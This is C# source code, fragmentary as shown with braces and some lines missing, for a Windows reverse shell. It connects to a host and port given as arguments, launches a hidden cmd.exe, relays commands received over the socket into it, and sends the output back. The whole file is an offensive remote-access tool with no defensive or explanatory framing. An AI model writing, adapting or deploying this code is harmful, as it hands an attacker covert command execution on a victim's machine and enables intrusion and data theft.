using System.Diagnostics;
using System.ComponentModel;
using System.Net.Sockets;
static StreamWriter streamWriter;
public static void Main(string[] args)
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
using(Stream stream = client.GetStream())
using(StreamReader rdr = new StreamReader(stream))
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
catch (Exception err) { }